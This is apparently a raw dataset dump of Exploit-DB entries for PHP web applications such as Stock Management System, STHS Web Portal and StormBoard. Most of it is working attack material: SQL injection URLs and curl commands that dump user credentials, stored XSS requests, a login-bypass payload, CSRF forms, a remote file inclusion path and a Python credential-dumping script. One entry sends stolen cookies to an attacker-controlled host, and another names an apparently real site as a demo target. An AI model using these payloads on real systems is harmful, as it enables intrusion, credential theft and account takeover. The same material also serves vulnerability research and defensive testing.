deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36770
Description: STHS v2 Web Portal - 'prospect.php?team' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-13
Author: Liyan Oz

Exploit:
source: https://www.securityfocus.com/bid/51991/info
 
STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/prospect.php?team=[SQLi]'
Exploit-DB #36769
Description: STHS v2 Web Portal - 'prospects.php?team' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-13
Author: Liyan Oz

Exploit:
source: https://www.securityfocus.com/bid/51991/info

STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. 

 http://www.example.com/prospects.php?team=[SQLi]'
Exploit-DB #36771
Description: STHS v2 Web Portal - 'team.php?team' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-13
Author: Liyan Oz

Exploit:
source: https://www.securityfocus.com/bid/51991/info
  
STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/team.php?team=[SQLi]'
Exploit-DB #34022
Description: StivaSoft Stiva SHOPPING CART 1.0 - 'demo.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-13
Author: PaL-D3v1L

Exploit:
source: https://www.securityfocus.com/bid/40310/info

Stiva SHOPPING CART is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Stiva SHOPPING CART 1.0 is vulnerable; other versions may be affected as well.

http://www.example.com/demo.php?id=18&p=1&cat=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #48926
Description: Stock Management System 1.0 - 'Brand Name' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-10-21
Author: Adeeb Shah

Exploit:
# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Brand Name)
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 2, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4


# Vulnerability Details
# Description A persistent cross-site scripting vulnerability exists within the 'Brand Name' parameter in the edit brand function.
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Brand Name value expected.

#Steps:

	1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)

	2. Click "Brand"

	3. Click "Action" in any brand name row

	4. Click Edit

	5. In "Brand Name" field enter XSS <script>alert(1)</script>

	6. Click save changes

	7. Any page on the webapp expecting that 'Brand Name' will trigger the XSS.

POST /stock/php_action/editBrand.php HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/brand.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
DNT: 1
Connection: close
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8

editBrandName=%3Cscript%3Ealert(%22hyd3sec%22)%3C%2Fscript%3E&editBrandStatus=1&brandId=14
Exploit-DB #48930
Description: Stock Management System 1.0 - 'brandId and categoriesId' SQL Injection
Type: webapps
Platform: php
Date: 2020-10-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: Stock Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2020-10-22
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested on: Linux
# CVE: N/A

# POC:
# 1)
#
fetchSelectedBrand.php
#
$brandId = $_POST['brandId'];
$sql = "SELECT brand_id, brand_name, brand_active, brand_status FROM brands WHERE brand_id = $brandId";
#
curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 170' -H $'Cookie: PHPSESSID=cjmjndhkna574kp8ui7puncct2' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=cjmjndhkna574kp8ui7puncct2' \
    --data-binary $'brandId=-11 union select (SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,user_id,username,password,email,0x3c62723e))))x),2,3,4-- -' \
    $'http://localhost/ExploitDb/stock/php_action/fetchSelectedBrand.php'
#
# POC:
# 2)
#
fetchSelectedCategories.php
#
$categoriesId = $_POST['categoriesId'];
$sql = "SELECT categories_id, categories_name, categories_active, categories_status FROM categories WHERE categories_id = $categoriesId";
#
curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 175' -H $'Cookie: PHPSESSID=cjmjndhkna574kp8ui7puncct2' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=cjmjndhkna574kp8ui7puncct2' \
    --data-binary $'categoriesId=-11 union select (SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,user_id,username,password,email,0x3c62723e))))x),2,3,4-- -' \
    $'http://localhost/ExploitDb/stock/php_action/fetchSelectedCategories.php'
#
# ++

#
Exploit-DB #48925
Description: Stock Management System 1.0 - 'Categories Name' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-10-21
Author: Adeeb Shah

Exploit:
# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Categories Name)
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 2, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4


# Vulnerability Details
# Description A persistent cross-site scripting vulnerability exists within the 'Categories Name' parameter in the edit brand function.
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Categories Name value expected.

#Steps:

	1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)

	2. Click "Category"

	3. Click "Action" in any categories name row

	4. Click Edit

	5. In "Categories Name" field enter XSS <script>alert("XSS")</script>

	6. Click save changes

	7. Any page on the webapp expecting that 'Categories Name' will trigger the XSS.

POST /stock/php_action/editCategories.php HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/categories.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 102
DNT: 1
Connection: close
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8




editCategoriesName=%3Cscript%3Ealert(%22hyd3sec%22)%3C%2Fscript%3E&editCategoriesStatus=1&editCategoriesId=9
Exploit-DB #48924
Description: Stock Management System 1.0 - 'Product Name' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-10-21
Author: Adeeb Shah

Exploit:
# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Product Name)
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 2, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4


# Vulnerability Details
# Description A persistent cross-site scripting vulnerability exists within the 'Product Name' parameter in the Edit Product function.
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Product Name value expected.

#Steps:

	1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)

	2. Click "Product"

	3. Click "Action" in any categories name row

	4. Click Edit, then Product Info (tab)

	5. In "Product Name" field enter XSS <script>alert("XSS")</script>

	6. Click save changes

	7. Any page on the webapp expecting that 'Product Name' will trigger the XSS.



POST /stock/php_action/editProduct.php HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/product.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]057152477
Content-Length: 938
DNT: 1
Connection: close
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8


----------------------------[PII_REDACTED][PII_REDACTED]057152477
Content-Disposition: form-data; name="editProductName"


<script>alert("hyd3sec")</script>
----------------------------[PII_REDACTED][PII_REDACTED]057152477
Content-Disposition: form-data; name="editQuantity"


9
----------------------------[PII_REDACTED][PII_REDACTED]057152477
Content-Disposition: form-data; name="editRate"



1200
----------------------------[PII_REDACTED][PII_REDACTED]057152477
Content-Disposition: form-data; name="editBrandName"


12
----------------------------[PII_REDACTED][PII_REDACTED]057152477
Content-Disposition: form-data; name="editCategoryName"



7
----------------------------[PII_REDACTED][PII_REDACTED]057152477
Content-Disposition: form-data; name="editProductStatus"



1
----------------------------[PII_REDACTED][PII_REDACTED]057152477
Content-Disposition: form-data; name="productId"


8
----------------------------[PII_REDACTED][PII_REDACTED]057152477--
Exploit-DB #49994
Description: Stock Management System 1.0 - 'user_id' Blind SQL injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-06-14
Author: Riadh Benlamine

Exploit:
# Exploit Title: Stock Management System 1.0 - 'user_id' Blind SQL injection (Authenticated)
# Date: 11/06/2021
# Exploit Author: Riadh Benlamine (rbn0x00)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link:   https://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/stock.zip
# Version: 1.0
# Category: Webapps
# Tested on: Apache2+MariaDB latest version
# Description :  Stock Management System suffers from SQL injection in '/stock/php_action/changePassword.php' because it does not sanitize the input before pushing into the sql query. Leading to remote code execution.

- Vulnerable parameter: user_id=<injection point>
SQLmap command:
--------------

sqlmap -u http://<target_host>/stock/php_action/changePassword.php --data="[CREDENTIAL_REDACTED]=test&c[CREDENTIAL_REDACTED]_id=1*" --cookie="PHPSESSID=<your cookie>" --is-dba

SQLmap Output:
-------------

Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: [CREDENTIAL_REDACTED]=test&c[CREDENTIAL_REDACTED]_id=(SELECT (CASE WHEN (7792=7792) THEN 1 ELSE (SELECT 5315 UNION SELECT 6564) END))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [CREDENTIAL_REDACTED]=test&c[CREDENTIAL_REDACTED]_id=1 AND (SELECT 8344 FROM (SELECT(SLEEP(5)))RdSH)

Trick:
-----
We could steal the users cookie by chaining CSRF and stored XSS
<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://<YOUR_TARGET>/stock/php_action/changeUsername.php" method="POST">

      <input type="hidden" name="username" value=""><script> alert(document.cookie); var i=new Image; i.src="http://<YOUR_IP>:<YOUR_PORT>/?"+document.cookie; </script>" />

      <input type="hidden" name="user&#95;id" value="1" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

and then use the cookie to preform SQL injection :)
Exploit-DB #48733
Description: Stock Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-08-05
Author: Adeeb Shah

Exploit:
# Exploit Title: Stock Management System 1.0 - Authentication Bypass
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 1, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4

# Vulnerable Source Code


if($_POST) {		

	$username = $_POST['username'];
	$password = $_POST['password'];

	if(empty($username) || empty($password)) {
		if($username == "") {
			$errors[] = "Username is required";
		} 

		if($password == "") {
			$errors[] = "Password is required";
		}
	} else {
		$sql = "SELECT * FROM users WHERE username = '$username'";
		$result = $connect->query($sql);

		if($result->num_rows == 1) {
			$password = md5($password);
			// exists
			$mainSql = "SELECT * FROM users WHERE username = '$username' AND [CREDENTIAL_REDACTED]'";
			$mainResult = $connect->query($mainSql);

			if($mainResult->num_rows == 1) {
				$value = $mainResult->fetch_assoc();
				$user_id = $value['user_id'];

				// set session
				$_SESSION['userId'] = $user_id;

				header('location: http://localhost/stock/dashboard.php');	
			} else{
				
				$errors[] = "Incorrect username/password combination";
			} // /else
		} else {		
			$errors[] = "Username doesnot exists";		
		} // /else
	} // /else not empty username // password
	
} // /if $_POST
?>


# Malicious POST Request to https://TARGET/stock/index.php HTTP/1.1
POST /stock/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
DNT: 1
Connection: close
Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
Upgrade-Insecure-Requests: 1

email='+or+1%3d1+--+admin&[CREDENTIAL_REDACTED]
Exploit-DB #48783
Description: Stock Management System 1.0 - Cross-Site Request Forgery (Change Username)
Type: webapps
Platform: php
Date: 2020-09-02
Author: boku

Exploit:
# Exploit Title: Stock Management System 1.0 - Cross-Site Request Forgery (Change Username)
# Exploit Author: Bobby Cooke & Adeeb Shah (@hyd3sec)
# CVE ID: N/A
# Date: 2020-09-01
# Vendor Homepage: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Software Link:   https://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/stock.zip
# Version:         1.0
# Tested On:       Windows 10 Pro + XAMPP | Python 2.7
#          CWE-352: Cross-Site Request Forgery (CSRF)
#  CVSS Base Score: 5.9 | Impact Subscore: 4.2 | Exploitability Subscore: 1.6
#      CVSS Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H
# Vulnerability Description:
#   Cross-Site Request Forgery (CSRF) vulnerability in 'changeUsername.php' webpage of SourceCodesters 
#   Stock Management System v1.0 allows remote attackers to deny future logins via changing the 
#   authenticated victims username when they visit a third-party site.


# PoC - Form Method
#   Change <TARGET-HOST> to target IP address or hostname
<html>
  <body>
    <form action="http://<TARGET-HOST>/stock/php_action/changeUsername.php" method="POST">
      <input type="hidden" name="username" value="BOKU" />
      <input type="hidden" name="user_id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #51990
Description: Stock Management System v1.0 - Unauthenticated SQL Injection
Type: webapps
Platform: php
Date: 2024-04-13
Author: blu3ming

Exploit:
# Exploit Title: Stock Management System v1.0 - Unauthenticated SQL Injection
# Date: February 6, 2024
# Exploit Author: Josué Mier (aka blu3ming) Security Researcher & Penetration Tester @wizlynx group
# Vendor Homepage: https://www.sourcecodester.com/php/15023/stock-management-system-phpoop-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/sms.zip
# Tested on: Linux and Windows, XAMPP
# CVE-2023-51951
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
#   The web application Stock Management System is affected by an unauthenticated SQL Injection affecting Version 1.0, allowing remote attackers to dump the SQL database using an Error-Based Injection attack.

import requests
from bs4 import BeautifulSoup
import argparse

def print_header():
    print("\033[1m\nStock Management System v1.0\033[0m")
    print("\033[1mSQL Injection Exploit\033[0m")
    print("\033[96mby blu3ming\n\033[0m")

def parse_response(target_url):
    try:
        target_response = requests.get(target_url)
        soup = BeautifulSoup(target_response.text, 'html.parser')
        textarea_text = soup.find('textarea', {'name': 'remarks', 'id': 'remarks'}).text

        # Split the text using ',' as a delimiter
        users = textarea_text.split(',')
        for user in users:
            # Split username and password using ':' as a delimiter
            username, password = user.split(':')
            print("| {:<20} | {:<40} |".format(username, password))
    except:
        print("No data could be retrieved. Try again.")

def retrieve_data(base_url):
    target_path = '/sms/admin/?page=purchase_order/manage_po&id='
    payload = "'+union+select+1,2,3,4,5,6,7,8,group_concat(username,0x3a,password),10,11,12,13+from+users--+-"

    #Dump users table
    target_url = base_url + target_path + payload
    print("+----------------------+------------------------------------------+")
    print("| {:<20} | {:<40} |".format("username", "password"))
    print("+----------------------+------------------------------------------+")
    parse_response(target_url)
    print("+----------------------+------------------------------------------+\n")

if __name__ == "__main__":
    about  = 'Unauthenticated SQL Injection Exploit - Stock Management System'
    parser = argparse.ArgumentParser(description=about)
    parser.add_argument('--url', dest='base_url', required=True, help='Stock Management System URL')
    args = parser.parse_args()
    print_header()
    retrieve_data(args.base_url)
Exploit-DB #13813
Description: Store Locator - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-06-10
Author: JaMbA

Exploit:
# vendor: www.ghostscripter.com
::::::::::::::[explo!t]:::::::
:::::::


<html>
<head>
<title> Store Locator Remote Add Admin Exploit  </title>
</head>
<body text="#00FF00" bgcolor="#000000">
<form action=http://server/StoreLocator/adm/admin_add.php method=post
style="text-align: center">
<br>
User: <input name="username" type="text" id="username" value="" />
<br>
Pass: <input name="password" type="password" id="password" value=""  />
<br>
<input type="submit" name="Submit" value="Create Admin" /><br>
&nbsp;<br>
</p>
</form>
</body>
<html>

::::::::::::::::::::::::::::::::::::::::::
Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek
AnD all Tunisian hacker

:::::::::::::::::::S.W.T:::::::::::::::::::::
Exploit-DB #3749
Description: StoreFront for Gallery - 'GALLERY_BASEDIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-16
Author: Alkomandoz Hacker

Exploit:
StoreFront for Gallery (GALLERY_BASEDIR) Remote File Inclusion Vulnerabilities

D.Script: http://www.dalton.net/ppstorefront/ppstorefront.zip

Discovered by: Alkomandoz Hacker

Homepage: http://Www.asb-may.net

Exploit:

mods/business_functions.php?GALLERY_BASEDIR=Shell

mods/ui_functions.php?GALLERY_BASEDIR=Shell

Greetz To: Asb-May.Net/bb

# milw0rm.com [2007-04-16]
Exploit-DB #7565
Description: StormBoard 1.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-23
Author: Samir-M

Exploit:
==============================================================================
_________________________________{ГҷвҖһГҳВ§ГҳВ§ГҷвҖһГҷвҖЎ ГҳВ§ГҷвҖһГҷЕ  ГҷвҖһГҷвҖһГҷвҖЎ ГҷвҖҰГҳВӯГҷвҖҰГҳВҜ ГҳВұГҳВіГҷЛҶГҷвҖһ ГҷвҖһГҷвҖһГҷвҖЎ}_________________________________
 ---------------------------------(Samir-M)---------------------------------- 
      StormBoard Version 1.0.1 (thread.php id=) SQL Injection Vulnerability

by  : Samir-M

Msn : Km7@Hotmail.De

from: Morocco
 ----------------------------------------------------------------------------
darck :

"Powered by : StormBoard Version 1.0.1"
 ---------------------------------------------------------------------------- 

Exploit:

site.com/thread.php?id=-null union select 1,2,3,4,5,6,7,8,concat(user_name,0x3e,user_password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from users


Dome:
al-andalos.com/thread.php?id=-null+union+all+select+1,2,3,4,5,6,7,8,concat(user_name,0x3e,user_password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users--


Login:
site.com/admin

 ----------------------------------------------------------------------------
Samir-M > A-flow > Gess-Inject0r > Wassim-Net
 ----------------------------------------------------------------------------
_______________________________________________________________________________
===============================================================================

# milw0rm.com [2008-12-23]